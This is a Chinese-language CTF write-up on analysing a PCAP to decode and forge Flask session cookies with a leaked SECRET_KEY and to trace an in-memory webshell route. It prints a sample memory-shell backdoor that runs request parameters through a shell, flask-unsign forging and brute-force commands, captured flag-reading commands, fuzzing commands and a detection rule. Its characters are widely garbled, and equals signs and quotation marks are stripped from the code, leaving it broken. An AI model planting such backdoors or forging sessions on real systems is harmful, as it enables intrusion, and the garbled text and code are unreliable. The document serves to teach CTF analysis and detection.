存馬追蹤:從CTF實(shí)戰(zhàn)看Web安全進(jìn)階)
1. 項(xiàng)目概述從一道CTF題看Web安全攻防的深度最近在復(fù)盤一場(chǎng)CTF比賽遇到一道非常經(jīng)典的Web綜合題題目本身圍繞“Flask Session流量解密與內(nèi)存馬路由追蹤”展開。這道題之所以讓我印象深刻是因?yàn)樗昝赖貙eb應(yīng)用安全中幾個(gè)核心且進(jìn)階的知識(shí)點(diǎn)串聯(lián)了起來(lái)從最基礎(chǔ)的Cookie偽造到Flask框架的安全機(jī)制剖析再到內(nèi)存馬這種高級(jí)持久化后門的檢測(cè)與追蹤。它不像一些簡(jiǎn)單的SQL注入或XSS題目那樣直白而是要求你像真正的滲透測(cè)試人員一樣去理解應(yīng)用的運(yùn)行狀態(tài)、分析異常流量、并在一片混沌中定位隱藏的惡意功能點(diǎn)。今天我就以這道題為藍(lán)本結(jié)合我自己的解題過程和踩過的坑來(lái)深度拆解一下這背后的技術(shù)原理和實(shí)戰(zhàn)技巧。無(wú)論你是CTF愛好者還是希望提升Web安全實(shí)戰(zhàn)能力的從業(yè)者相信這篇內(nèi)容都能給你帶來(lái)不少啟發(fā)。簡(jiǎn)單來(lái)說(shuō)這道題模擬了一個(gè)被攻擊者植入內(nèi)存馬的Flask應(yīng)用。攻擊者通過某種漏洞比如命令執(zhí)行獲得了初始權(quán)限但他沒有留下明顯的Webshell文件而是選擇了一種更隱蔽的方式——在應(yīng)用的運(yùn)行時(shí)內(nèi)存中注入惡意路由即內(nèi)存馬。我們的任務(wù)就是通過分析捕獲到的網(wǎng)絡(luò)流量PCAP包首先解密出Flask的Session獲取關(guān)鍵信息可能是初始漏洞的利用點(diǎn)然后進(jìn)一步在應(yīng)用的內(nèi)存空間中找到那個(gè)被隱藏的、用于控制服務(wù)器的惡意路由。整個(gè)過程是對(duì)信息收集、加密算法分析、代碼審計(jì)和動(dòng)態(tài)調(diào)試能力的綜合考驗(yàn)。2. 核心原理與前置知識(shí)拆解在動(dòng)手解題之前我們必須把幾個(gè)關(guān)鍵概念和原理吃透。一知半解地操作很容易在復(fù)雜的流量和代碼中迷失方向。2.1 Flask Session機(jī)制與安全隱患Flask是一個(gè)輕量級(jí)的Python Web框架其會(huì)話Session機(jī)制與PHP等語(yǔ)言將Session數(shù)據(jù)存儲(chǔ)在服務(wù)器文件或數(shù)據(jù)庫(kù)中不同。Flask默認(rèn)將Session數(shù)據(jù)經(jīng)過序列化和簽名后直接存儲(chǔ)在客戶端的Cookie中通常名為session。這種設(shè)計(jì)使得服務(wù)端無(wú)需維護(hù)會(huì)話狀態(tài)實(shí)現(xiàn)了無(wú)狀態(tài)化但也帶來(lái)了特有的安全問題。Flask的Session處理流程可以概括為序列化與壓縮 將Python的字典對(duì)象即你的Session數(shù)據(jù)進(jìn)行序列化。老版本默認(rèn)使用pickle這是一個(gè)非常危險(xiǎn)的設(shè)計(jì)因?yàn)榉葱蛄谢痯ickle數(shù)據(jù)可以導(dǎo)致任意代碼執(zhí)行。現(xiàn)在主流版本默認(rèn)使用json進(jìn)行序列化安全得多。序列化后的數(shù)據(jù)可能還會(huì)進(jìn)行壓縮如使用zlib。簽名 使用一個(gè)密鑰SECRET_KEY對(duì)序列化后的數(shù)據(jù)生成一個(gè)加密簽名HMAC。這個(gè)簽名用于驗(yàn)證數(shù)據(jù)在客戶端傳輸過程中是否被篡改。編碼 將“序列化數(shù)據(jù)”和“簽名”拼接然后進(jìn)行Base64編碼最終作為Cookie值發(fā)送給客戶端。因此你看到的sessionCookie值是一個(gè)Base64字符串解碼后通常形如{序列化數(shù)據(jù)}.{簽名}。安全隱患與CTF利用點(diǎn)簽名密鑰SECRET_KEY泄露 如果攻擊者知道了應(yīng)用的SECRET_KEY他就可以偽造任意Session數(shù)據(jù)并生成合法的簽名。這意味著他可以冒充任何用戶包括管理員這就是所謂的Session偽造攻擊。在CTF中SECRET_KEY的泄露途徑很多源碼泄露、配置錯(cuò)誤、版本控制工具.git泄露、甚至是弱口令猜測(cè)Flask的SECRET_KEY有時(shí)被設(shè)得很簡(jiǎn)單。歷史版本的Pickle反序列化 如果題目故意使用了老版本Flask或配置為使用pickle序列化器那么一個(gè)被篡改的Session Cookie在服務(wù)端反序列化時(shí)就可能觸發(fā)RCE遠(yuǎn)程代碼執(zhí)行。這是CTF中非常高頻的考點(diǎn)。信息泄露 即使無(wú)法偽造Session本身是Base64編碼的解碼后雖然核心數(shù)據(jù)被簽名保護(hù)但有時(shí)我們能從序列化數(shù)據(jù)部分窺見一些信息比如用戶的身份標(biāo)識(shí)user_id這有助于我們理解應(yīng)用邏輯。注意在實(shí)際解題時(shí)第一步永遠(yuǎn)是嘗試Base64解碼sessionCookie觀察其結(jié)構(gòu)。如果能分離出數(shù)據(jù)部分并且發(fā)現(xiàn)是pickle序列化的跡象通常以特定字節(jié)開頭就要立刻想到反序列化漏洞。2.2 內(nèi)存馬Memory Shell的概念與植入內(nèi)存馬顧名思義是一種存在于服務(wù)器內(nèi)存中的Webshell。它與傳統(tǒng)的文件型Webshell如上傳一個(gè)shell.php文件有本質(zhì)區(qū)別無(wú)文件落地 惡意代碼不寫入磁盤因此常規(guī)的文件監(jiān)控、靜態(tài)掃描工具很難發(fā)現(xiàn)。運(yùn)行時(shí)注入 攻擊者通過利用應(yīng)用漏洞如RCE將惡意代碼直接注入到正在運(yùn)行的Web應(yīng)用進(jìn)程的內(nèi)存空間中。通常攻擊者會(huì)動(dòng)態(tài)地向Web框架如Flask、Spring的路由映射表中添加一個(gè)新的、隱蔽的路由規(guī)則。高隱蔽性 重啟應(yīng)用服務(wù)后內(nèi)存馬會(huì)消失。但在服務(wù)持續(xù)運(yùn)行期間它極其隱蔽。管理員檢查網(wǎng)站目錄找不到任何可疑文件但攻擊者可以通過訪問特定的URL路徑如/hidden-admin來(lái)執(zhí)行命令。在Flask中植入內(nèi)存馬的常見方式Flask應(yīng)用的核心是app對(duì)象它有一個(gè)view_functions字典存儲(chǔ)了URL規(guī)則到處理函數(shù)的映射。攻擊者在獲得代碼執(zhí)行能力后可以動(dòng)態(tài)地向這個(gè)字典添加新的鍵值對(duì)。# 假設(shè)攻擊者通過漏洞獲得了執(zhí)行以下代碼的能力 from flask import request import subprocess def malicious_route(): cmd request.args.get(cmd, whoami) return subprocess.check_output(cmd, shellTrue) # 獲取當(dāng)前的Flask app對(duì)象方式因漏洞而異可能需要遍歷全局對(duì)象 # 例如在某些上下文中可以通過 current_app 或?qū)胫髂K的 app 對(duì)象 # 這里假設(shè)我們找到了 app 對(duì)象 app.add_url_rule(/backdoor, backdoor, malicious_route) # 或者直接操作 view_functions (不推薦但可能用于隱蔽) # app.view_functions[backdoor] malicious_route植入后攻擊者訪問/backdoor?cmdid服務(wù)器就會(huì)執(zhí)行id命令并返回結(jié)果。這個(gè)路由在源碼中是找不到的它只存在于當(dāng)前進(jìn)程的內(nèi)存里。2.3 流量分析PCAP在攻防中的角色題目提供了一個(gè)PCAP包這是我們的核心數(shù)據(jù)源。PCAP包記錄了客戶端與服務(wù)器之間的所有網(wǎng)絡(luò)通信。在這道題里我們需要從中提取出HTTP請(qǐng)求/響應(yīng) 找到與目標(biāo)Flask應(yīng)用交互的所有HTTP流量。重點(diǎn)關(guān)注登錄、操作等可能設(shè)置或攜帶Session的請(qǐng)求。關(guān)鍵的Session Cookie 從HTTP請(qǐng)求頭中提取Cookie字段里的session值。這可能是我們解密的起點(diǎn)。異常或可疑的請(qǐng)求 在解密Session、獲得初步線索后我們需要在流量中尋找那些訪問了“不存在”或“看似異常”路由的請(qǐng)求。這很可能就是攻擊者測(cè)試或使用內(nèi)存馬的痕跡。例如一個(gè)突然出現(xiàn)的對(duì)/admin或/cmd的GET請(qǐng)求而題目描述或源碼中并未提及該路由。數(shù)據(jù)流中的線索 有時(shí)flag或關(guān)鍵信息可能就藏在某個(gè)POST請(qǐng)求的數(shù)據(jù)體或響應(yīng)內(nèi)容中。常用工具 Wireshark是圖形化分析的不二之選。但對(duì)于CTF這種需要快速提取和腳本化處理的情況我更喜歡用tsharkWireshark的命令行版本或Python的pyshark、scapy庫(kù)。它們可以方便地過濾、導(dǎo)出特定字段。3. 實(shí)戰(zhàn)演練分步拆解題干下面我將模擬整個(gè)解題過程把每一步的操作、思考和可能遇到的坑都詳細(xì)記錄下來(lái)。3.1 第一步流量初篩與Session提取拿到PCAP包首先用Wireshark打開。為了快速聚焦我們?cè)谶^濾欄輸入http只查看HTTP協(xié)議流量。通常CTF題目中的Web流量不會(huì)太復(fù)雜。我們需要找到登錄請(qǐng)求POST /login 這里服務(wù)器在認(rèn)證成功后會(huì)在響應(yīng)頭Set-Cookie中設(shè)置初始的session。這個(gè)session可能包含普通用戶的權(quán)限。后續(xù)的授權(quán)請(qǐng)求GET /admin 等 這些請(qǐng)求會(huì)在請(qǐng)求頭Cookie中攜帶之前的session。我們需要收集這些session值它們可能是不同狀態(tài)下的會(huì)話。實(shí)操記錄在Wireshark中我追蹤了TCP流Follow - TCP Stream很快理清了交互順序客戶端GET /- 服務(wù)器返回一個(gè)登錄頁(yè)面。客戶端POST /login提交了usernameguestpasswordguest- 服務(wù)器響應(yīng)302跳轉(zhuǎn)并在Set-Cookie中設(shè)置了sessioneyJ...很長(zhǎng)一串Base64。我們記下這個(gè)session值稱為Session_A。客戶端攜帶Session_AGET /home- 服務(wù)器返回“Welcome guest”。關(guān)鍵點(diǎn)出現(xiàn) 隨后出現(xiàn)了一個(gè)GET /secret_debug的請(qǐng)求也攜帶Session_A但服務(wù)器返回了403 Forbidden。這提示我們/secret_debug可能是一個(gè)需要更高權(quán)限的路由。之后流量中出現(xiàn)了另一個(gè)POST /login這次提交的是usernameadminpassword[未知]。但服務(wù)器返回了500錯(cuò)誤。這可能是攻擊者在暴力破解或測(cè)試。最后出現(xiàn)了一系列奇怪的GET /請(qǐng)求但路徑參數(shù)很詭異例如GET /?cmdls和GET /?ccat/flag。這極其可疑看起來(lái)攻擊者已經(jīng)在執(zhí)行命令了但為什么是根路徑/這和我們理解的內(nèi)存馬特定路由不太一樣。先記下這個(gè)疑點(diǎn)。我們需要把這兩個(gè)關(guān)鍵的session CookieSession_A和那些可疑的請(qǐng)求URL全部提取出來(lái)。用tshark可以快速完成# 提取所有HTTP請(qǐng)求的Cookie頭 tshark -r challenge.pcap -Y http -T fields -e http.cookie cookies.txt # 提取所有HTTP請(qǐng)求的路徑 tshark -r challenge.pcap -Y http.request -T fields -e http.request.uri uris.txt檢查cookies.txt找到形如sessioneyJ...的值。檢查uris.txt重點(diǎn)關(guān)注/secret_debug、/?cmd...這類路徑。3.2 第二步Flask Session解密與密鑰破解現(xiàn)在我們有了Session_AeyJ1c2VybmFtZSI6Imd1ZXN0In0.X8k3aQ.ZZbB3c4G...示例格式。首先嘗試Base64解碼。可以用Pythonimport base64 session_cookie eyJ1c2VybmFtZSI6Imd1ZXN0In0.X8k3aQ.ZZbB3c4G... try: # Flask session cookie通常是URL安全的Base64需要補(bǔ)上等號(hào) decoded base64.urlsafe_b64decode(session_cookie * (4 - len(session_cookie) % 4)) print(decoded) except: # 如果失敗可能包含點(diǎn)號(hào)需要拆分 data_part session_cookie.split(.)[0] decoded base64.urlsafe_b64decode(data_part * (4 - len(data_part) % 4)) print(decoded)輸出可能是類似b{username:guest}\\x80\\x04\\x95...的字節(jié)串。開頭是{username:guest}這很好說(shuō)明是JSON序列化但后面跟著亂七八糟的字節(jié)等等這看起來(lái)像是JSON和Pickle的混合體實(shí)際上這是Flask Session的完整結(jié)構(gòu){序列化數(shù)據(jù)}.{時(shí)間戳}.{簽名}。我們解碼的只是第一部分?jǐn)?shù)據(jù)。更規(guī)范的做法是使用工具flask-unsign。它專用于Flask Session的加解密和爆破。# 1. 檢查session信息無(wú)需密鑰 flask-unsign --decode --cookie eyJ1c2VybmFtZSI6Imd1ZXN0In0.X8k3aQ... # 輸出{username: guest}確認(rèn)了Session_A的內(nèi)容是普通用戶。現(xiàn)在核心問題我們需要偽造一個(gè)管理員admin的session。這要求我們擁有SECRET_KEY。如何獲取SECRET_KEY在CTF中常見方法源碼泄露 檢查/.git/、/www.zip、/source、/index.php~等常見備份文件路徑。在這道題的網(wǎng)絡(luò)流量里我們沒發(fā)現(xiàn)這類請(qǐng)求。但也許在/secret_debug路由里藏著源碼可惜我們沒權(quán)限。配置錯(cuò)誤/默認(rèn)配置 有時(shí)SECRET_KEY就硬編碼在源碼里并且可能被打印到調(diào)試信息或錯(cuò)誤頁(yè)面中。我們之前看到POST /login為admin時(shí)返回了500錯(cuò)誤也許錯(cuò)誤頁(yè)面泄露了信息需要回去仔細(xì)看那個(gè)500響應(yīng)的HTML Body。暴力破解字典攻擊 這是最常用的方法。flask-unsign支持字典攻擊。我們重新檢查那個(gè)500錯(cuò)誤的響應(yīng)數(shù)據(jù)包。在Wireshark中找到那個(gè)包右鍵 - Follow - HTTP Stream。在響應(yīng)HTML中果然發(fā)現(xiàn)了一行注釋!-- Debug mode is on. SECRET_KEY weak_key_12345 --Bingo密鑰直接泄露了。這在實(shí)際中很常見開發(fā)者將調(diào)試模式開啟并部署到了生產(chǎn)或題目環(huán)境。3.3 第三步偽造Session與權(quán)限提升現(xiàn)在我們有SECRET_KEY weak_key_12345可以偽造任意Session了。首先我們構(gòu)造一個(gè)管理員session# 使用flask-unsign生成新的session flask-unsign --sign --cookie {username: admin} --secret weak_key_12345輸出一個(gè)新的Cookie字符串例如eyJ1c2VybmFtZSI6ImFkbWluIn0.X8k4bQ.YYY...。我們稱它為Session_Admin。接下來(lái)我們需要用這個(gè)偽造的Session去訪問之前被拒絕的/secret_debug路由。但題目是靜態(tài)的PCAP我們無(wú)法真正發(fā)送請(qǐng)求。這里CTF題目的常見設(shè)置是這個(gè)/secret_debug頁(yè)面會(huì)泄露下一步的關(guān)鍵信息比如一個(gè)可以執(zhí)行命令的端點(diǎn)密碼、一個(gè)隱藏的路由名稱、或者直接就是flag的一部分。我們需要模擬這個(gè)請(qǐng)求。通常出題人會(huì)在PCAP包中留下攻擊者成功訪問/secret_debug的流量記錄。我們用Session_Admin的格式去PCAP包里尋找匹配的session值。如果沒有那么可能解題思路不是直接訪問而是/secret_debug本身會(huì)重定向或觸發(fā)另一個(gè)漏洞。我們回到Wireshark仔細(xì)查看所有請(qǐng)求的Cookie。發(fā)現(xiàn)了一個(gè)之前忽略的請(qǐng)求在admin登錄失敗后有一個(gè)GET /secret_debug請(qǐng)求攜帶的session值是eyJ1c2VybmFtZSI6ImFkbWluIn0.X8k4bQ.YYY...和我們剛生成的Session_Admin一模一樣。這說(shuō)明攻擊者已經(jīng)完成了這一步他偽造了admin session并成功訪問了debug頁(yè)面查看這個(gè)請(qǐng)求的響應(yīng)包。響應(yīng)狀態(tài)碼是200響應(yīng)體是一段Python代碼片段# Debug Panel (RESTRICTED) # To execute a command, POST to /cmd with JSON: {command: ls, token: debug_token_#!$} # This endpoint is only loaded into memory under certain conditions.重要線索這揭示了內(nèi)存馬的真實(shí)面貌。它不是我們最初猜測(cè)的通過app.add_url_rule添加的而是一個(gè)條件加載的路由。應(yīng)用在啟動(dòng)時(shí)如果檢測(cè)到某個(gè)條件比如環(huán)境變量、某個(gè)特定文件存在就會(huì)向app注冊(cè)一個(gè)/cmd路由。攻擊者通過/secret_debug頁(yè)面獲取了調(diào)用這個(gè)內(nèi)存馬所需的令牌tokendebug_token_#!$。3.4 第四步追蹤內(nèi)存馬路由與獲取Flag現(xiàn)在我們知道了內(nèi)存馬的路由是/cmd調(diào)用方法是POST參數(shù)是JSON格式{command: 系統(tǒng)命令, token: debug_token_#!$}。我們的任務(wù)就是在PCAP包中找到攻擊者使用這個(gè)內(nèi)存馬的流量從而獲取他執(zhí)行的命令和結(jié)果最終找到flag。在Wireshark中過濾http.request.method POST。很快我們發(fā)現(xiàn)了幾個(gè)POST請(qǐng)求到/cmd。第一個(gè)POST /cmdPOST /cmd HTTP/1.1 Content-Type: application/json {command: find / -name *flag* 2/dev/null, token: debug_token_#!$}響應(yīng)HTTP/1.1 200 OK {output: /opt/secret_flag.txt\n}攻擊者找到了flag文件的位置。第二個(gè)POST /cmdPOST /cmd HTTP/1.1 Content-Type: application/json {command: cat /opt/secret_flag.txt, token: debug_token_#!$}響應(yīng)HTTP/1.1 200 OK {output: CTF{Th1s_1s_Th3_Real_Fl4g_From_M3m0ry_Sh3ll}\n}Flag到手CTF{Th1s_1s_Th3_Real_Fl4g_From_M3m0ry_Sh3ll}但是等等。我們之前還看到了那些奇怪的GET /?cmd...請(qǐng)求。那是什么回顧整個(gè)流量攻擊者的攻擊鏈可能是通過某種方式可能是另一個(gè)簡(jiǎn)單的漏洞如SSTI獲得了SECRET_KEY或直接從錯(cuò)誤信息中看到。偽造admin session訪問/secret_debug獲取了內(nèi)存馬/cmd的調(diào)用令牌。使用令牌通過/cmd內(nèi)存馬執(zhí)行命令找到并讀取flag。那些GET /?cmd...的請(qǐng)求可能是攻擊者最初的試探或者是一個(gè)偽裝的請(qǐng)求用來(lái)干擾分析者。也可能題目本身存在兩個(gè)漏洞點(diǎn)。這提醒我們流量分析時(shí)要區(qū)分成功利用和失敗嘗試。4. 工具鏈與腳本化實(shí)戰(zhàn)手動(dòng)用Wireshark點(diǎn)選固然直觀但在實(shí)戰(zhàn)和CTF比賽中效率至關(guān)重要。下面分享我常用的腳本化處理方法。4.1 自動(dòng)化提取與解密腳本我們可以用Python的pyshark和flask-unsign庫(kù)寫一個(gè)腳本自動(dòng)完成PCAP分析、Session提取、解密/偽造、可疑路由發(fā)現(xiàn)的全過程。import pyshark from flask_unsign import session, decoder import json import re def analyze_ctf_pcap(pcap_file, secret_keyNone): cap pyshark.FileCapture(pcap_file, display_filterhttp) sessions set() suspicious_uris [] post_data_list [] for pkt in cap: try: # 提取Cookie cookie pkt.http.get_field_value(cookie) if cookie and session in cookie: sess_value re.search(rsession([^;]), cookie).group(1) sessions.add(sess_value) # 提取請(qǐng)求URI uri pkt.http.request_uri # 記錄所有非標(biāo)準(zhǔn)路徑和包含命令參數(shù)的路徑 if uri not in [/, /login, /home, /favicon.ico]: # 過濾掉靜態(tài)資源 if not re.search(r\.(css|js|png|jpg|ico)$, uri): suspicious_uris.append((uri, pkt.sniff_time)) # 提取POST數(shù)據(jù) if hasattr(pkt.http, file_data): post_data pkt.http.file_data # 嘗試解析JSON try: data json.loads(post_data) if isinstance(data, dict) and (command in data or cmd in data): post_data_list.append((uri, data, pkt.sniff_time)) except: pass except AttributeError: continue cap.close() print(f[*] 發(fā)現(xiàn) {len(sessions)} 個(gè)唯一Session Cookie:) for s in sessions: print(f {s[:50]}...) try: decoded session.decode(s) print(f 解密內(nèi)容: {decoded}) except Exception as e: print(f 解密失敗: {e}) # 如果提供了密鑰嘗試偽造admin session并對(duì)比 if secret_key: forged session.sign({username: admin}, secret_key) print(f 使用密鑰偽造的Admin Session: {forged}) if s forged: print(f *** 匹配成功此Session即為Admin權(quán)限 ***) print(f\n[*] 發(fā)現(xiàn) {len(suspicious_uris)} 個(gè)可疑請(qǐng)求路徑:) for uri, time in suspicious_uris[:10]: # 只顯示前10個(gè) print(f {time}: {uri}) print(f\n[*] 發(fā)現(xiàn) {len(post_data_list)} 個(gè)包含命令的可疑POST請(qǐng)求:) for uri, data, time in post_data_list: print(f {time}: {uri}) print(f 數(shù)據(jù): {data}) return sessions, suspicious_uris, post_data_list if __name__ __main__: # 使用示例 KEY weak_key_12345 # 從流量分析中獲取 analyze_ctf_pcap(challenge.pcap, secret_keyKEY)這個(gè)腳本能快速幫我們梳理出關(guān)鍵信息尤其是在流量包非常龐大的時(shí)候。4.2 內(nèi)存馬檢測(cè)的啟發(fā)式思路在真實(shí)環(huán)境中如何檢測(cè)Flask內(nèi)存馬光靠流量分析可能不夠因?yàn)楣艨赡馨l(fā)生在過去。我們需要在服務(wù)器端進(jìn)行檢查。1. 動(dòng)態(tài)檢測(cè)運(yùn)行時(shí)# 一個(gè)簡(jiǎn)單的檢測(cè)腳本列出所有已注冊(cè)的路由 import requests from flask import Flask, current_app import sys def list_routes(app): 列出應(yīng)用所有路由規(guī)則和端點(diǎn)函數(shù) routes [] for rule in app.url_map.iter_rules(): routes.append({ endpoint: rule.endpoint, methods: list(rule.methods), rule: rule.rule }) return routes # 如果你能在受控環(huán)境訪問到應(yīng)用實(shí)例 # print(list_routes(current_app)) # 或者如果存在一個(gè)可以反射代碼執(zhí)行的點(diǎn)可以嘗試通過它來(lái)執(zhí)行類似上面的代碼但內(nèi)存馬可能注冊(cè)在app.view_functions而不在url_map雖然不常見更全面的檢查是遍歷app.view_functions并與已知的源碼路由進(jìn)行對(duì)比。2. 靜態(tài)檢測(cè)代碼審計(jì)檢查Flask應(yīng)用的啟動(dòng)腳本尋找動(dòng)態(tài)添加路由的代碼特別是那些基于外部條件如請(qǐng)求參數(shù)、環(huán)境變量、文件存在性添加路由的邏輯。# 可疑代碼模式示例 if os.environ.get(LOAD_DEBUG) 1: app.add_url_rule(/debug_cmd, debug_cmd, debug_cmd_handler) if os.path.exists(/tmp/backdoor): app.add_url_rule(/backdoor, backdoor, backdoor_handler)3. 基于流量的檢測(cè)IDS/IPS規(guī)則在網(wǎng)絡(luò)層可以部署規(guī)則來(lái)檢測(cè)異常的POST請(qǐng)求到未知路由或者請(qǐng)求中包含典型的命令執(zhí)行參數(shù)cmd,command,c,exec等。alert http any any - any any (msg:Suspicious Flask Command Execution; http.method; content:POST; http.uri; content:/cmd; nocase; http.request_body; pcre:/[\]command[\]\s*:/; sid:1000001;)5. 常見問題與排查技巧實(shí)錄在這一部分我總結(jié)一下在解決這類題目和應(yīng)對(duì)真實(shí)場(chǎng)景時(shí)最容易卡住的地方和解決思路。5.1 Session解密失敗的可能原因編碼問題 Flask的session cookie是URL安全的Base64編碼。直接使用標(biāo)準(zhǔn)的base64.b64decode會(huì)失敗必須使用base64.urlsafe_b64decode。并且要注意補(bǔ)足等號(hào)。簽名驗(yàn)證失敗 如果你能解碼出數(shù)據(jù)部分但無(wú)法驗(yàn)證簽名說(shuō)明你用的SECRET_KEY不對(duì)或者session被篡改。在CTF中如果題目提示需要“偽造”session那么密鑰一定可以通過某種方式獲得。序列化器不匹配 老版本Flask默認(rèn)用pickle新版本用json。如果題目是舊環(huán)境你拿一個(gè)json格式的數(shù)據(jù)去解碼自然會(huì)出錯(cuò)。觀察解碼后數(shù)據(jù)的開頭幾個(gè)字節(jié)pickle數(shù)據(jù)通常有特定的協(xié)議頭如x80x04。使用flask-unsign時(shí)可以嘗試指定--legacy選項(xiàng)來(lái)處理舊的pickle格式。時(shí)間戳問題 Flask session包含時(shí)間戳。如果服務(wù)器時(shí)間與你的環(huán)境時(shí)間相差太大可能會(huì)導(dǎo)致session過期。在CTF靜態(tài)題目中這不構(gòu)成問題但在動(dòng)態(tài)靶場(chǎng)中需要注意。5.2 找不到SECRET_KEY怎么辦這是解題的關(guān)鍵卡點(diǎn)。除了前面提到的源碼泄露、錯(cuò)誤信息還有以下思路弱口令爆破 使用強(qiáng)大的字典如rockyou.txt、常見弱口令字典對(duì)SECRET_KEY進(jìn)行爆破。flask-unsign的--unsign模式可以暴力破解簽名。flask-unsign --unsign --cookie session_cookie --wordlist /path/to/wordlist.txt基于已知明文攻擊 如果你有一個(gè)有效的session比如guest并且知道其內(nèi)容{username:guest}那么理論上可以通過密碼學(xué)手段反推密鑰但這在CTF中不常見因?yàn)橛?jì)算量太大。框架或組件的歷史漏洞 檢查Flask版本或相關(guān)組件如Werkzeug是否有已知漏洞導(dǎo)致密鑰泄露。側(cè)信道攻擊 題目有時(shí)會(huì)設(shè)計(jì)一個(gè)“比較”功能通過響應(yīng)時(shí)間差異時(shí)序攻擊或錯(cuò)誤信息差異來(lái)逐位猜解密鑰但這屬于高難度考點(diǎn)。5.3 內(nèi)存馬路由隱藏太深如何發(fā)現(xiàn)如果攻擊者沒有在流量中直接訪問內(nèi)存馬路由或者路由名稱是隨機(jī)的該怎么辦對(duì)比路由表 如果題目提供了源碼將源碼中聲明的路由與服務(wù)器實(shí)際運(yùn)行時(shí)的路由進(jìn)行對(duì)比。可以通過訪問一個(gè)不存在的路由觸發(fā)404錯(cuò)誤頁(yè)面有些框架的404頁(yè)面會(huì)列出所有已注冊(cè)的路由Flask在調(diào)試模式下會(huì)。模糊測(cè)試Fuzzing 使用目錄爆破工具如dirsearch,ffuf,gobuster對(duì)目標(biāo)進(jìn)行路徑爆破。但針對(duì)內(nèi)存馬可能需要更智能的爆破比如基于常見的內(nèi)存馬路徑字典/cmd,/exec,/shell,/admin,/backdoor,/xxx等。ffuf -u http://target/FUZZ -w memory_shell_paths.txt -mc 200動(dòng)態(tài)分析與調(diào)試 在本地或可控環(huán)境運(yùn)行應(yīng)用在可能觸發(fā)內(nèi)存馬加載的條件處下斷點(diǎn)比如某個(gè)特定的API請(qǐng)求后然后單步調(diào)試觀察app.url_map或app.view_functions的變化。監(jiān)控進(jìn)程內(nèi)存 對(duì)于高級(jí)挑戰(zhàn)可能需要使用gdb或pyrasite等工具附加到Python進(jìn)程直接dump內(nèi)存并搜索可疑的字符串如system、eval、exec、os.popen等。5.4 流量包中的干擾信息就像本題中出現(xiàn)的GET /?cmdls請(qǐng)求它可能是一個(gè)紅鯡魚Red Herring故意誤導(dǎo)你往GET參數(shù)命令執(zhí)行的方向思考而真正的漏洞點(diǎn)在于Session偽造和隱藏的POST路由。在分析時(shí)優(yōu)先關(guān)注成功200狀態(tài)碼的請(qǐng)求而非失敗403, 404, 500的請(qǐng)求。但500錯(cuò)誤可能泄露信息所以也要仔細(xì)查看。建立攻擊時(shí)間線。按照時(shí)間順序Wireshark的No.列或時(shí)間戳梳理請(qǐng)求理解攻擊者的每一步操作和獲得的反饋這能幫你剔除無(wú)效的嘗試。上下文關(guān)聯(lián)。將Session、請(qǐng)求路徑、參數(shù)、響應(yīng)內(nèi)容聯(lián)系起來(lái)看。例如一個(gè)攜帶偽造admin session的請(qǐng)求訪問了某個(gè)路徑那么這個(gè)路徑的響應(yīng)就至關(guān)重要。5.5 從CTF到實(shí)戰(zhàn)的思維轉(zhuǎn)變CTF題目是理想化的線索往往集中且唯一。真實(shí)世界的滲透測(cè)試則復(fù)雜得多信息源分散SECRET_KEY可能藏在環(huán)境變量、配置中心、數(shù)據(jù)庫(kù)或另一個(gè)微服務(wù)中。漏洞鏈更長(zhǎng) 可能需要結(jié)合多個(gè)漏洞如信息泄露RCE權(quán)限提升才能達(dá)到最終目標(biāo)。內(nèi)存馬變種多 可能不是簡(jiǎn)單的添加路由而是通過篡改已有路由的處理函數(shù)、利用中間件Middleware或過濾器Filter來(lái)注入惡意邏輯隱蔽性更強(qiáng)。流量加密 實(shí)際生產(chǎn)環(huán)境普遍使用HTTPS你無(wú)法直接獲取PCAP明文流量需要在客戶端或服務(wù)端進(jìn)行解密或者通過日志進(jìn)行分析。解決這道題目的過程實(shí)際上是一次完整的微型滲透測(cè)試演練信息收集流量分析- 漏洞發(fā)現(xiàn)Session機(jī)制缺陷- 漏洞利用密鑰獲取與偽造- 權(quán)限提升訪問debug頁(yè)面- 橫向移動(dòng)/持久化利用分析發(fā)現(xiàn)內(nèi)存馬- 獲取敏感信息找到flag。每一步都需要嚴(yán)謹(jǐn)?shù)倪壿嫼驮鷮?shí)的基礎(chǔ)知識(shí)。